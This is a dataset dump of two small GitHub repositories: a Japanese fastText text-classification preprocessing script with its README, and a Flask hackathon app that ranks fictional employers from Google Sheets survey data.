main()\n"},{"alpha_fraction":0.6632140874862671,"alphanum_fraction":0.6782799959182739,"avg_line_length":21.10416603088379,"blob_id":"0d0441f5dea3b2ab8ec398794a49054b4d5ca91c","content_id":"ae553fa9424e07cacf126ddca55cce0c44686ad0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":5190,"license_type":"no_license","max_line_length":165,"num_lines":144,"path":"/README.md","repo_name":"tkys/fasttext_text_classifier","src_encoding":"UTF-8","text":"# fasttext_text_classifier\n\n Ubuntu 18.04 LTS\n* Python 3\n* MeCab\n* mecab-python3\n* mecab-ipadic-NEologd (MeCabの新語辞書)\n* fasttext\n\n\n\n### MeCab関連の環境構築\n\nmecabインストール、neologd辞書の用意、ipadicとか\n\n```\n$ sudo apt-get install mecab libmecab-dev mecab-ipadic-utf8 git make curl xz-utils file\n\n$ pip3 install mecab-python3\n```\n\n\n## mecab-ipadic-NEologd：MeCabの新語辞書 mecab-ipadic-NEologdのインストール/更新方法\n\n辞書のシードデータは、GitHubリポジトリを介して配布されます。\n\n「git clone」し複製されたリポジトリのディレクトリに移動、\n次のコマンドで、最近のmecab-ipadic-NEologdをインストールまたは更新（上書き）できます。\n\n```\n$ git clone --depth 1 https://github.com/neologd/mecab-ipadic-neologd.git\n$ cd mecab-ipadic-neologd\n$ ./bin/install-mecab-ipadic-neologd -n\n```\n途中のメッセージからmecab-configをインストールした場合は、使用するmecab-configのパスを設定する必要があります。\n\n\n次のヘルプコマンドにてコマンドラインオプションを確認できます。\n\n```\n$ ./bin/install-mecab-ipadic-neologd -h\n```\n\n### neologd辞書の場所を確認\n```\n$ echo `mecab-config --dicdir`\"/mecab-ipadic-neologd\"\n\n/usr/lib/x86_64-linux-gnu/mecab/dic/mecab-ipadic-neologd\n```\n\n--------\n### fasttextの環境構築\n\nfastTextのインストールは通常`pip install fasttext `。すごく楽。\nただし今回はオートチューニングを使いたいので、最新リポジトリからもってきてインストール。\n\n```\nautotune is a new feature that is not included in the last release (0.9.1). You should install the \"dev\" version, that is, clone the repo\n\n$ git clone https://github.com/facebookresearch/fastText.git\n$ cd fastText\n$ pip install .\n\n```\n\n\n\n--------\n## fasttext用の学習用データの作成\n\n### インプットデータ用意\n\n1行に `{label},{text} `の形式で用意します\n\n* input.txt\n```\n1,変換時に、Stop Wordの処理をしたりしますが、まずはStop Word無しで学習させてみます。\n3,fastTextでクラス分けをする際の教師データは、下記のようなフォーマットなのでcsvから変換します。\n2,教師データとしてはあまり宜しくない感じはしますが、とりあえずfastTextに入力してみます。\n1,精度は、fastTextによって予測されたラベルの中の正しいラベルの数です。リコールは、すべての実際のラベルのうち、正常に予測されたラベルの数です。これをより明確にする例を見てみましょう。\n3,モデルによって予測されるラベルはですfood-safety。これは関係ありません。どういうわけか、モデルは単純な例では失敗するようです。\n```\n\n### fasttext形式ラベルと分かち書き\n以下コマンドにて、 `__label__N,(分かち書き済みテキスト)` の形式で log.txtに出力します。\n```\n$python3 train_data_fasttext.py input.csv > log.txt\n```\n\n\n### log.txt の確認\n\n```\n$cat log.txt\n__label__1, 変換 時 に 、 Stop Word の 処理 を する たり する ます が 、 Stop Word 無し で 学習 する せる て みる ます 。\n__label__3, fastText で クラス 分け を する 際 の 教師 データ は 、 下記 の よう だ フォーマット だ ので CSV から 変換 する ます 。\n__label__2, 教師 データ として は あまり 宜しい ない 感じ は する ます が 、 とりあえず fastText に 入力 する て みる ます 。\n__label__1, 精度 は 、 fastText によって 予測 する れる た ラベル の 中 の 正しい ラベル の 数 です 。 リコール は 、 すべて の 実際 の ラベル の うち 、 正常 に 予測 する れる た ラベル の 数 です 。 これ を より 明確 に する 例 を 見る て みる ます う 。\n__label__3, モデル によって 予測 する れる ラベル は です Food - safety 。 これ は 関係 ある ます ん 。 わけ か 、 モデル は 単純 だ 例 で は 失敗 する よう です 。\n\n```\n\n### train_data_fasttext.py でのMeCabの分かち書き挙動とfasttext形式ラベル付けの対応\n\n* 抽出する品詞の指定\n```\n# いらない品詞があるならばコメントアウト\nhinshi_list = [\n \"名詞\",\n \"動詞\",\n \"形容詞\",\n \"形容動詞\",\n \"記号\",\n \"助詞\",\n \"助動詞\",\n \"副詞\"\n ]\n```\n\n* MeCabの辞書（mecab-ipadic-neologd）のpath指定\n```\n tagger = MeCab.Tagger('-d /usr/lib/x86_64-linux-gnu/mecab/dic/mecab-ipadic-neologd')\n```\n\n\n\n* fasttext形式でのラベル付け対応\n\n```\ndef convert2fasttext(bunrui):\n \"\"\" fastText用のラベルに変換 \"\"\"\n labels = {\n \"1\": \"__label__1\",\n \"2\": \"__label__2\",\n \"3\": \"__label__3\"\n #\"4\": \"__label__4\",\n #\"5\": \"__label__5\"\n }\n return labels[bunrui]\n```\nここではinput.csvの要素1列目の{label}が 1,2,3 でラベルしてあるケースとしています\n\n\n--------\n\n\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.4791809022426605,\n \"alphanum_fraction\": 0.4955631494522095,\n \"avg_line_length\": 20.865671157836914,\n \"blob_id\": \"40ac1ce88cfe4c3a50be4e4e90a0e21f3a474317\",\n \"content_id\": \"8927bda9a4d0f046da97b545cca16c2c73ac0456\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1601,\n \"license_type\": \"no_license\",\n \"max_line_length\": 88,\n \"num_lines\": 67,\n \"path\": \"/train_data_fasttext.py\",\n \"repo_name\": \"tkys/fasttext_text_classifier\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import csv\\nimport re\\nimport sys\\nimport MeCab\\n\\n# いらない品詞（stop word）があるならばコメントアウト \\nhinshi_list = [\\n \\\"名詞\\\",\\n \\\"動詞\\\",\\n \\\"形容詞\\\",\\n \\\"形容動詞\\\",\\n \\\"記号\\\",\\n \\\"助詞\\\",\\n \\\"助動詞\\\",\\n \\\"副詞\\\"\\n ]\\n\\n\\ndef convert2fasttext(bunrui):\\n \\\"\\\"\\\" fastText用のラベルに変換 \\\"\\\"\\\"\\n labels = {\\n \\\"1\\\": \\\"__label__1\\\",\\n \\\"2\\\": \\\"__label__2\\\",\\n \\\"3\\\": \\\"__label__3\\\"\\n #\\\"4\\\": \\\"__label__4\\\",\\n #\\\"5\\\": \\\"__label__5\\\"\\n }\\n return labels[bunrui]\\n\\ndef convert2wakati(text, tagger):\\n\\n r=[]\\n mojiretu=' '\\n \\\"\\\"\\\" わかち書きに変換 \\\"\\\"\\\"\\n node = tagger.parseToNode(text)\\n\\n while node:\\n # 単語を取得\\n if node.feature.split(\\\",\\\")[6] == '*':\\n word = node.surface\\n else:\\n word = node.feature.split(\\\",\\\")[6]\\n #word = node.surface\\n\\n # 品詞を取得\\n hinshi = node.feature.split(\\\",\\\")[0]\\n\\n if hinshi in hinshi_list:\\n r.append(word)\\n node = node.next\\n\\n mojiretu = (' '.join(r)).strip()\\n\\n return mojiretu\\n\\ndef main():\\n tagger = MeCab.Tagger('-d /usr/lib/x86_64-linux-gnu/mecab/dic/mecab-ipadic-neologd')\\n with open(sys.argv[1]) as file:\\n reader = csv.reader(file)\\n for row in reader:\\n label = convert2fasttext(row[0])\\n comment = convert2wakati(\\\"\\\".join(row[1:]), tagger)\\n # comment = stopword(comment)\\n print(\\\"{label}, {comment}\\\\n\\\".format(label=label, comment=comment), end=\\\"\\\")\\n\\nif __name__ == \\\"__main__\\\":\\n main()\\n\"\n },\n {\n \"alpha_fraction\": 0.6632140874862671,\n \"alphanum_fraction\": 0.6782799959182739,\n \"avg_line_length\": 21.10416603088379,\n \"blob_id\": \"0d0441f5dea3b2ab8ec398794a49054b4d5ca91c\",\n \"content_id\": \"ae553fa9424e07cacf126ddca55cce0c44686ad0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 5190,\n \"license_type\": \"no_license\",\n \"max_line_length\": 165,\n \"num_lines\": 144,\n \"path\": \"/README.md\",\n \"repo_name\": \"tkys/fasttext_text_classifier\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# fasttext_text_classifier\\n\\n Ubuntu 18.04 LTS\\n* Python 3\\n* MeCab\\n* mecab-python3\\n* mecab-ipadic-NEologd (MeCabの新語辞書)\\n* fasttext\\n\\n\\n\\n### MeCab関連の環境構築\\n\\nmecabインストール、neologd辞書の用意、ipadicとか\\n\\n```\\n$ sudo apt-get install mecab libmecab-dev mecab-ipadic-utf8 git make curl xz-utils file\\n\\n$ pip3 install mecab-python3\\n```\\n\\n\\n## mecab-ipadic-NEologd：MeCabの新語辞書 mecab-ipadic-NEologdのインストール/更新方法\\n\\n辞書のシードデータは、GitHubリポジトリを介して配布されます。\\n\\n「git clone」し複製されたリポジトリのディレクトリに移動、\\n次のコマンドで、最近のmecab-ipadic-NEologdをインストールまたは更新（上書き）できます。\\n\\n```\\n$ git clone --depth 1 https://github.com/neologd/mecab-ipadic-neologd.git\\n$ cd mecab-ipadic-neologd\\n$ ./bin/install-mecab-ipadic-neologd -n\\n```\\n途中のメッセージからmecab-configをインストールした場合は、使用するmecab-configのパスを設定する必要があります。\\n\\n\\n次のヘルプコマンドにてコマンドラインオプションを確認できます。\\n\\n```\\n$ ./bin/install-mecab-ipadic-neologd -h\\n```\\n\\n### neologd辞書の場所を確認\\n```\\n$ echo `mecab-config --dicdir`\\\"/mecab-ipadic-neologd\\\"\\n\\n/usr/lib/x86_64-linux-gnu/mecab/dic/mecab-ipadic-neologd\\n```\\n\\n--------\\n### fasttextの環境構築\\n\\nfastTextのインストールは通常`pip install fasttext `。すごく楽。\\nただし今回はオートチューニングを使いたいので、最新リポジトリからもってきてインストール。\\n\\n```\\nautotune is a new feature that is not included in the last release (0.9.1). You should install the \\\"dev\\\" version, that is, clone the repo\\n\\n$ git clone https://github.com/facebookresearch/fastText.git\\n$ cd fastText\\n$ pip install .\\n\\n```\\n\\n\\n\\n--------\\n## fasttext用の学習用データの作成\\n\\n### インプットデータ用意\\n\\n1行に `{label},{text} `の形式で用意します\\n\\n* input.txt\\n```\\n1,変換時に、Stop Wordの処理をしたりしますが、まずはStop Word無しで学習させてみます。\\n3,fastTextでクラス分けをする際の教師データは、下記のようなフォーマットなのでcsvから変換します。\\n2,教師データとしてはあまり宜しくない感じはしますが、とりあえずfastTextに入力してみます。\\n1,精度は、fastTextによって予測されたラベルの中の正しいラベルの数です。リコールは、すべての実際のラベルのうち、正常に予測されたラベルの数です。これをより明確にする例を見てみましょう。\\n3,モデルによって予測されるラベルはですfood-safety。これは関係ありません。どういうわけか、モデルは単純な例では失敗するようです。\\n```\\n\\n### fasttext形式ラベルと分かち書き\\n以下コマンドにて、 `__label__N,(分かち書き済みテキスト)` の形式で log.txtに出力します。\\n```\\n$python3 train_data_fasttext.py input.csv > log.txt\\n```\\n\\n\\n### log.txt の確認\\n\\n```\\n$cat log.txt\\n__label__1, 変換 時 に 、 Stop Word の 処理 を する たり する ます が 、 Stop Word 無し で 学習 する せる て みる ます 。\\n__label__3, fastText で クラス 分け を する 際 の 教師 データ は 、 下記 の よう だ フォーマット だ ので CSV から 変換 する ます 。\\n__label__2, 教師 データ として は あまり 宜しい ない 感じ は する ます が 、 とりあえず fastText に 入力 する て みる ます 。\\n__label__1, 精度 は 、 fastText によって 予測 する れる た ラベル の 中 の 正しい ラベル の 数 です 。 リコール は 、 すべて の 実際 の ラベル の うち 、 正常 に 予測 する れる た ラベル の 数 です 。 これ を より 明確 に する 例 を 見る て みる ます う 。\\n__label__3, モデル によって 予測 する れる ラベル は です Food - safety 。 これ は 関係 ある ます ん 。 わけ か 、 モデル は 単純 だ 例 で は 失敗 する よう です 。\\n\\n```\\n\\n### train_data_fasttext.py でのMeCabの分かち書き挙動とfasttext形式ラベル付けの対応\\n\\n* 抽出する品詞の指定\\n```\\n# いらない品詞があるならばコメントアウト\\nhinshi_list = [\\n \\\"名詞\\\",\\n \\\"動詞\\\",\\n \\\"形容詞\\\",\\n \\\"形容動詞\\\",\\n \\\"記号\\\",\\n \\\"助詞\\\",\\n \\\"助動詞\\\",\\n \\\"副詞\\\"\\n ]\\n```\\n\\n* MeCabの辞書（mecab-ipadic-neologd）のpath指定\\n```\\n tagger = MeCab.Tagger('-d /usr/lib/x86_64-linux-gnu/mecab/dic/mecab-ipadic-neologd')\\n```\\n\\n\\n\\n* fasttext形式でのラベル付け対応\\n\\n```\\ndef convert2fasttext(bunrui):\\n \\\"\\\"\\\" fastText用のラベルに変換 \\\"\\\"\\\"\\n labels = {\\n \\\"1\\\": \\\"__label__1\\\",\\n \\\"2\\\": \\\"__label__2\\\",\\n \\\"3\\\": \\\"__label__3\\\"\\n #\\\"4\\\": \\\"__label__4\\\",\\n #\\\"5\\\": \\\"__label__5\\\"\\n }\\n return labels[bunrui]\\n```\\nここではinput.csvの要素1列目の{label}が 1,2,3 でラベルしてあるケースとしています\\n\\n\\n--------\\n\\n\\n\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2978318,"cells":{"repo_name":{"kind":"string","value":"Terairk/WEconnect"},"repo_url":{"kind":"string","value":"https://github.com/Terairk/WEconnect"},"snapshot_id":{"kind":"string","value":"175f5fca3073b31d0011edf77bd46ef41b12f393"},"revision_id":{"kind":"string","value":"4bbadc6cdbd9b2b477ecb742c98bf98abefcd0c5"},"directory_id":{"kind":"string","value":"56ff0a3909ed366afd4891d59fa23b432858118d"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2022-12-12T23:50:29.333522","string":"2022-12-12T23:50:29.333522"},"revision_date":{"kind":"timestamp","value":"2020-09-19T00:32:48","string":"2020-09-19T00:32:48"},"committer_date":{"kind":"timestamp","value":"2020-09-19T00:32:48","string":"2020-09-19T00:32:48"},"github_id":{"kind":"number","value":296277259,"string":"296,277,259"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7682926654815674,"alphanum_fraction":0.7879924774169922,"avg_line_length":70.06666564941406,"blob_id":"0e69934fe756ac489b7f952b8e820674f2df2f5c","content_id":"8d370c385a69d31edc6ced24d410a53ca1383ebf","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1066,"license_type":"no_license","max_line_length":256,"num_lines":15,"path":"/README.md","repo_name":"Terairk/WEconnect","src_encoding":"UTF-8","text":"# WEconnect\nThis is a project for the Brunei AI for Good Hackathon\n\nThe main code is in app.py\nFor those who are wondering, main.py and generatevalues.py are places where i tested the code separetly from the flask project then later added them into the flask thing. The client_secret.json file contains info to access the google spreadsheets via code.\n\nThe actual website link to the project being deployed onto a server is http://43.245.220.12:5000/\nThat's where you can test the website for yourself and see what it does.\n\nThe UI is a bit bad but I think you'll get the main point. The final part is where it ranks the companies from best to worst (fake companies mind you)\n\nHere's the link to the figma (the frontend mock up that looks much better than this)\nhttps://www.figma.com/proto/5MqnNJjrJ7MtPUCK0xZglq/Team-6-Prototype---Students?node-id=15%3A2&scaling=min-zoom\n\nAlso if you want to run this code for yourselves, you need to import nltk and do nltk.download() in your python installation. And of course download all the files in the requirements.txt file.\n"},{"alpha_fraction":0.6445690989494324,"alphanum_fraction":0.6727434992790222,"avg_line_length":36.53110122680664,"blob_id":"2ba13de95b928a637b77ca88cab2a75e5f8fb9e3","content_id":"b5240ef37d784682acb00e7e4f0f7a62f4d2dcbf","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":7844,"license_type":"no_license","max_line_length":225,"num_lines":209,"path":"/app.py","repo_name":"Terairk/WEconnect","src_encoding":"UTF-8","text":"# copied from main.py which was used for testing\n\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\nfrom nltk.corpus import wordnet as wn\nfrom PyDictionary import PyDictionary\n\ndictionary = PyDictionary()\n\n# Setting up the api's and their links\n# This project uses the google sheet api (which is connected to the google forms)\n# An adjective extractor library to extract adjectives from the extended response\n# This is done by nltk\n# Then we have the synonyms library to get synonyms for each adjective\n\n# Adjectives & Synonyms will be a multidimensional array, each sublist is each person's adjectives in their response\nadjectives = []\nsynonyms = []\n\n# Google sheets api set up\nscope = ['https://spreadsheets.google.com/feeds', \"https://www.googleapis.com/auth/drive\"]\ncreds = ServiceAccountCredentials.from_json_keyfile_name(\"client_secret.json\", scope)\nclient = gspread.authorize(creds)\nsheet = client.open(\"Students (Responses)\").sheet1\n\nperson = sheet.row_values(sheet.row_count)\n# for every response to the survey\nwords = person[11].split(\" \")\n\n# Whole thing checks if any words are adjectives and gets their synonyms\nfor w in words:\n if wn.synsets(w):\n\n tmp = wn.synsets(w)[0].pos()\n if tmp == \"a\":\n print(w, \":\", tmp)\n wSynonym = dictionary.synonym(w)\n synonyms += wSynonym\n\nprint(synonyms)\n\n# Start of employers lists\n# These are fake companies (some are based on real companies), you can tell from the names\n# Some of the subjects for some of the employers aren't super realistic, but others are\n# I just put in what came to mind for variety, Also locations are also fictional\n# A proper version would have actual employers with actual locations and what not\n# The values in the list are based on the spreadsheet questions\n# Values are randomised externally (not in the website for consistency) using random.org, so they're not real values\n\nemployer1 = [2020, \"computerland\", \"Belait\", True, [\"English\", \"History\", \"Business\", \"Computer Science\"], 1, 5, 6, 4, 6, True, ['honest', 'confident', 'adventurous', 'productive', 'original', 'courteous']]\nemployer2 = [2020, \"novideo\", \"Belait\", False, [\"Maths\", \"Computer Science\", \"Business\", \"Economics\", \"Physics\"], 2, 5, 10, 8, 10, False, ['positive', 'creative thinking', 'reliable', 'confident', 'agreeable', 'considerate']]\nemployer3 = [2020, \"ayyyymd\", \"Brunei-Muara\", False, [\"Maths\", \"Computer Science\", \"Business\", \"Economics\", \"Physics\"], 4, 10, 3, 3, 10, True, ['positive', 'honest', 'reliable', 'confident', 'agreeable', 'adventurous']]\nemployer4 = [2020, \"shintel\", \"Temburong\", False, [\"Maths\", \"Computer Science\", \"Business\", \"Economics\", \"Physics\"], 7, 4, 9, 10, 10, False, ['positive', 'reliable', 'confident', 'considerate', 'adventurous', 'original']]\nemployer5 = [2020, \"Bdope\", \"Tutong\", True, [\"Art\", \"Psychology\", \"Business\", \"Economics\"], 2, 8, 4, 4, 5, True, ['positive', 'honest', 'creative thinking', 'reliable', 'confident', 'agreeable']]\nemployer6 = [2020, \"Lavinci\", \"Brunei-Muara\", True, [\"Art\", \"English\", \"Psychology\", \"Economics\"], 7, 2, 2, 10, 10, True, ['positive', 'creative thinking', 'reliable', 'confident', 'agreeable', 'considerate']]\nemployer7 = [2020, \"yCircle\", \"Belait\", False, [\"Maths\", \"Physics\", \"Computer Science\"], 3, 7, 6, 2, 9, False, ['loyal', 'reliable', 'agreeable', 'considerate', 'enthusiastic', 'courteous']]\nemployer8 = [2020, \"Shell\", \"Brunei-Muara\", False, [\"Economics\", \"Business\", \"Geography\"], 6, 2, 1, 9, 10, True, ['positive', 'confident', 'agreeable', 'productive', 'fluent', 'sincere']]\nemployer9 = [2020, \"Pear\", \"Tutong\", True, [\"Computer Science\", \"Physics\", \"Business\"], 9, 3, 5, 2, 10, True, ['honest', 'confident', 'considerate', 'adventurous', 'productive', 'enthusiastic']]\nemployer10 = [2020, \"Wacdonalds\", \"Belait\", False, [\"Psychology\", \"English\", \"Geography\", \"Economics\", \"Drama\"], 10, 10, 1, 5, 10, True, ['honest', 'creative thinking', 'reliable', 'considerate', 'original', 'trustworthy']]\nemployer11 = [2020, \"WagyuQueen\", \"Belait\", False, [\"Psychology\", \"English\", \"Geography\", \"Economics\"], 1, 4, 8, 10, 3, False, ['positive', 'honest', 'confident', 'adventurous', 'considerate', 'productive']]\n\nemployers = []\nemployers.append(employer1)\nemployers.append(employer2)\nemployers.append(employer3)\nemployers.append(employer4)\nemployers.append(employer5)\nemployers.append(employer6)\nemployers.append(employer7)\nemployers.append(employer8)\nemployers.append(employer9)\nemployers.append(employer10)\nemployers.append(employer11)\n\n\nemployersWeightingScores = {}\nfor i in range(11):\n employersWeightingScores[i] = 0.1\n\n# Weighting Algorithm Part\n# There are some arbitary values that I've decided to use for the weight\n# like how location is worth 5 and virtual work is worth 2.\n# Also the higher the weight for the employers, the better\n# It's like the employers score\n\ni = 0\nfor employer in employers:\n weight = float(0)\n #Location\n userLocation = person[2]\n if userLocation == employer[2]:\n weight += 5\n\n #VirtualWork\n\n if person[3] == employer[3]:\n weight += 2\n\n #Subjects\n\n usersubjects = person[4].split(', ')\n for user_subject in usersubjects:\n for employer_subject in employer[4]:\n if user_subject == employer_subject:\n weight += 1.5\n\n #Teamwork skills\n\n # If an employer has a 2 for importance on teamwork, then it'll have a weight of 0.4 per point that the user has.\n # If an employer has a 9 for importance on teamwork, then it'll have a weight of 1.8 per point that the user has.\n # Ie it dictates how important the employer values teamwork and future skills\n weight += float(person[5]) * (float(employer[5]) * 0.1)\n\n #Creativity\n\n weight += float(person[6]) * (float(employer[6]) * 0.1)\n\n #Organization skills\n\n weight += float(person[7]) * (float(employer[7]) * 0.1)\n\n #Problem Solving Skills\n\n weight += float(person[8]) * (float(employer[8]) * 0.1)\n\n #General Computer Skills\n\n weight += float(person[9]) * (float(employer[9]) * 0.1)\n\n #Willingness to learn\n\n if person[10] == False and employer[10] == True:\n weight -= 3\n elif person[10] == True and employer[10] == True:\n weight += 3\n\n #Qualities\n for employerquality in employer[11]:\n for userquality in synonyms:\n if userquality == employerquality:\n weight += 0.5\n\n employersWeightingScores[i] = weight\n i += 1\n\nfinalList = []\n# sort employers weighting score\nsortedRankings = sorted(employersWeightingScores, key=employersWeightingScores.get)\nsortedRankings.reverse()\nfor i in range(11):\n employerName = employers[sortedRankings[i]][1]\n s = str(i+1) + \": \" + employerName\n print(s)\n finalList.append(s)\n\nfrom flask import Flask, render_template, url_for\napp = Flask(__name__)\n\nposts = [\n {\n \"author\": \"Ahmad Jamsari\",\n \"title\": \"Blog Post 1\",\n \"content\": \"First content\",\n \"date_posted\": \"April 20, 2018\"\n },\n {\n \"author\": \"Jane Doe\",\n \"title\": \"Blog Post 2\",\n \"content\": \"Second post content\",\n \"date_posted\": \"April 21, 2018\"\n }\n]\n\n@app.route('/')\n@app.route(\"/home\")\ndef home():\n return render_template(\"home.html\", posts=posts)\n\n\n@app.route('/about')\ndef about():\n return render_template(\"about.html\", title=\"About\")\n\n\n@app.route('/login')\ndef login():\n return render_template(\"login.html\")\n\n\n@app.route('/register')\ndef register():\n return render_template(\"register.html\")\n\n\n@app.route('/employers')\ndef employer():\n return render_template(\"employer.html\")\n\n\n@app.route('/students')\ndef student():\n return render_template(\"students.html\")\n\n@app.route('/final')\ndef final():\n return render_template(\"final.html\", companies = finalList)\n\nif __name__ == '__main__':\n app.run()\n"},{"alpha_fraction":0.5,"alphanum_fraction":0.692307710647583,"avg_line_length":12.166666984558105,"blob_id":"059a8c35b50ba0941f8cde1eaec7acddb025b914","content_id":"3ef17d42369bc1d914dd553cea5e6a88d0ab2b51","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Text","length_bytes":78,"license_type":"no_license","max_line_length":19,"num_lines":6,"path":"/requirements.txt","repo_name":"Terairk/WEconnect","src_encoding":"UTF-8","text":"Flask==1.1.2\n\ngspread~=3.6.0\noauth2client~=4.1.3\nnltk~=3.5\nPyDictionary~=2.0.1"},{"alpha_fraction":0.5957327485084534,"alphanum_fraction":0.605277955532074,"avg_line_length":31.290908813476562,"blob_id":"cee088ae713138195bc087b66f9f582ad4256569","content_id":"4de0e0659fa30e7277f202f3017167d31a8c3413","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1781,"license_type":"no_license","max_line_length":109,"num_lines":55,"path":"/generate_values.py","repo_name":"Terairk/WEconnect","src_encoding":"UTF-8","text":"# This is a python file to generate the values for various employers\n# Manually inputting values from random.org is kinda a pain\n# Also manually inputting lots of qualities is also a pain\n# I had to manually input subjects and it was kind of a pain\n# So to save me from this pain, I'll create a whole new program\n# This might save me time, it might not, this file generates the values after the subjects for employer lists\n# Edit: It saved me time\n# Noticed that code isn't perfect as it could generate multiple of the same quality but that's fine\n\nfrom random import randint\n\n# Qualities that Employers want\nqualities = [\"friendly\", \"positive\", \"fluent\", \"confident\", \"honest\", \"humble\", \"courteous\", \"trustworthy\",\n \"honorable\", \"creative thinking\", \"original\", \"inventive\", \"productive\", \"adventurous\",\n \"agreeable\", \"ambitious\", \"bright\", \"considerate\", \"enthusiastic\", \"helpful\",\n \"loyal\", \"reliable\", \"sensible\", \"sincere\"]\n\n\n# Loop for each employer\nfor i in range(11):\n\n # Get the 5 values after the subjects\n for i in range(5):\n value = randint(1,10)\n print(value, end=\", \")\n\n # True or False\n willingnessToLearn = randint(0,1)\n toLearn = False\n if willingnessToLearn == 0:\n print(\"False\", end=\", \")\n else:\n print(\"True\", end=\", \")\n\n temp = []\n\n # Employer qualities\n print(\"[\", end=\"\")\n for i in range(20):\n value = randint(0, len(qualities) - 1)\n # fixes duplicates\n temp.append(qualities[value])\n temp = list(set(temp))\n s = \"'\" + temp[-1] + \"'\"\n\n\n for i in range(6):\n s = \"'\" + temp[i] + \"'\"\n if i == 5:\n print(s, end=\"\")\n else:\n print(s, end=\", \")\n\n print(\"]\", end=\"\")\n print()\n\n\n\n\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7682926654815674,\n \"alphanum_fraction\": 0.7879924774169922,\n \"avg_line_length\": 70.06666564941406,\n \"blob_id\": \"0e69934fe756ac489b7f952b8e820674f2df2f5c\",\n \"content_id\": \"8d370c385a69d31edc6ced24d410a53ca1383ebf\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1066,\n \"license_type\": \"no_license\",\n \"max_line_length\": 256,\n \"num_lines\": 15,\n \"path\": \"/README.md\",\n \"repo_name\": \"Terairk/WEconnect\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# WEconnect\\nThis is a project for the Brunei AI for Good Hackathon\\n\\nThe main code is in app.py\\nFor those who are wondering, main.py and generatevalues.py are places where i tested the code separetly from the flask project then later added them into the flask thing. The client_secret.json file contains info to access the google spreadsheets via code.\\n\\nThe actual website link to the project being deployed onto a server is http://43.245.220.12:5000/\\nThat's where you can test the website for yourself and see what it does.\\n\\nThe UI is a bit bad but I think you'll get the main point. The final part is where it ranks the companies from best to worst (fake companies mind you)\\n\\nHere's the link to the figma (the frontend mock up that looks much better than this)\\nhttps://www.figma.com/proto/5MqnNJjrJ7MtPUCK0xZglq/Team-6-Prototype---Students?node-id=15%3A2&scaling=min-zoom\\n\\nAlso if you want to run this code for yourselves, you need to import nltk and do nltk.download() in your python installation. And of course download all the files in the requirements.txt file.\\n\"\n },\n {\n \"alpha_fraction\": 0.6445690989494324,\n \"alphanum_fraction\": 0.6727434992790222,\n \"avg_line_length\": 36.53110122680664,\n \"blob_id\": \"2ba13de95b928a637b77ca88cab2a75e5f8fb9e3\",\n \"content_id\": \"b5240ef37d784682acb00e7e4f0f7a62f4d2dcbf\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 7844,\n \"license_type\": \"no_license\",\n \"max_line_length\": 225,\n \"num_lines\": 209,\n \"path\": \"/app.py\",\n \"repo_name\": \"Terairk/WEconnect\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# copied from main.py which was used for testing\\n\\nimport gspread\\nfrom oauth2client.service_account import ServiceAccountCredentials\\nfrom nltk.corpus import wordnet as wn\\nfrom PyDictionary import PyDictionary\\n\\ndictionary = PyDictionary()\\n\\n# Setting up the api's and their links\\n# This project uses the google sheet api (which is connected to the google forms)\\n# An adjective extractor library to extract adjectives from the extended response\\n# This is done by nltk\\n# Then we have the synonyms library to get synonyms for each adjective\\n\\n# Adjectives & Synonyms will be a multidimensional array, each sublist is each person's adjectives in their response\\nadjectives = []\\nsynonyms = []\\n\\n# Google sheets api set up\\nscope = ['https://spreadsheets.google.com/feeds', \\\"https://www.googleapis.com/auth/drive\\\"]\\ncreds = ServiceAccountCredentials.from_json_keyfile_name(\\\"client_secret.json\\\", scope)\\nclient = gspread.authorize(creds)\\nsheet = client.open(\\\"Students (Responses)\\\").sheet1\\n\\nperson = sheet.row_values(sheet.row_count)\\n# for every response to the survey\\nwords = person[11].split(\\\" \\\")\\n\\n# Whole thing checks if any words are adjectives and gets their synonyms\\nfor w in words:\\n if wn.synsets(w):\\n\\n tmp = wn.synsets(w)[0].pos()\\n if tmp == \\\"a\\\":\\n print(w, \\\":\\\", tmp)\\n wSynonym = dictionary.synonym(w)\\n synonyms += wSynonym\\n\\nprint(synonyms)\\n\\n# Start of employers lists\\n# These are fake companies (some are based on real companies), you can tell from the names\\n# Some of the subjects for some of the employers aren't super realistic, but others are\\n# I just put in what came to mind for variety, Also locations are also fictional\\n# A proper version would have actual employers with actual locations and what not\\n# The values in the list are based on the spreadsheet questions\\n# Values are randomised externally (not in the website for consistency) using random.org, so they're not real values\\n\\nemployer1 = [2020, \\\"computerland\\\", \\\"Belait\\\", True, [\\\"English\\\", \\\"History\\\", \\\"Business\\\", \\\"Computer Science\\\"], 1, 5, 6, 4, 6, True, ['honest', 'confident', 'adventurous', 'productive', 'original', 'courteous']]\\nemployer2 = [2020, \\\"novideo\\\", \\\"Belait\\\", False, [\\\"Maths\\\", \\\"Computer Science\\\", \\\"Business\\\", \\\"Economics\\\", \\\"Physics\\\"], 2, 5, 10, 8, 10, False, ['positive', 'creative 